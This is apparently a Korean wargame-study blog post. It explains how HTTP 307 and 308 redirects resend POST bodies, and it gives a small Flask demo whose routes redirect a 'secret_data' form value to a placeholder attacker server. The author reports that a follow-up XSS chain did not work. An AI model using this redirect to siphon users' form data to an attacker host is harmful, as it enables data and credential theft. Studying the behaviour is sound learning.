워게임을 공부하다가 알아낸 POST 데이터를 탈취 할 수 있는 방법을 알아봅시다.
Redirection Status Code
HTTP 상태코드에서 리다이렉션 코드는 일반적으로 (300번대)입니다.
이중에서 301
, 302
, 307
, 308
에 대해 간략하게 알아봅시다.
- 301 Moved Permanently : 요청한 리소스의 URI가 변경되었음을 의미
- 302 Found : 요청한 리소스의 URI가 일시적으로 변경되었음을 의미
- 307 Temporary Redirect : 클라리언트가 요청한 리소스가 다른 URI에 있음을 의미,
원래 요청한 메소드와 Body 를 재사용하여 요청을 리다이렉트
- 308 Permanent Redirect : HTTP 응답 헤더의 Location: 에 명시된 영구히 다른 URI에 위치하고 있음을 의미,
원래 요청한 메소드와 Body 를 재사용하여 요청을 리다이렉트
특이점은 307
, 308
은 POST 메소드의 요청인 경우 Body와 함께 요청을 리다이렉트합니다.
즉 리다이렉션되는 URL이 공격자 서버로 변조할 수 있을 경우 POST 값도 탈취 당할 수 있습니다.
Example Code
코드는 매우 간단합니다.
POST 메소드로 secret_data
라는 변수를 받습니다.
여기서는 상태 코드 변조 가능 및 공격자의 서버로 리다이렉션된다고 가정해봅시다.
-> 사실 요청에 대한 응답 상태 및 리다이렉션 서버를 변조하는 것은 매우 어려울꺼 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from flask import Flask, redirect, request
app = Flask(__name__)
@app.route('/301', methods=['GET','POST'])
def redirect_301():
request.form.get("secret_data")
return redirect("[공격자서버]",code=301)
@app.route('/302', methods=['GET','POST'])
def redirect_302():
request.form.get("secret_data")
return redirect("[공격자서버]",code=302)
@app.route('/307', methods=['GET','POST'])
def redirect_307():
request.form.get("secret_data")
return redirect("[공격자서버]",code=307)
@app.route('/308', methods=['GET','POST'])
def redirect_308():
request.form.get("secret_data")
return redirect("[공격자서버]",code=308)
if __name__ == '__main__':
app.run(host='0.0.0.0',port="5555")
result
정말로 307
, 308
만 POST 데이터가 전달되는지 확인해봅시다.
secret_data에 glasses96
을 넣고 각 리다이렉션이 되도록 전달했습니다.
후기
Request 요청에 대한 응답 상태코드나 리다이렉션을 공격자서버로 변조를 해야하기 때문에 트리거 하기에는 매우 까다로울꺼 같습니다.
post request -> XSS -> 공격자 서버(308 지정) -> requestbin 이런식으로 될까 테스트를 해보았는데 저는 바보였습니다…
XSS를 이용하여 공격자 서버로 리다이렉션이 될때 전달되는 데이터가 비어있기에… 당연하게도 아무것도 오지 않았습니다.
좀 더 나은 공격 방법에 대해 많은 고민을 해야할꺼같습니다.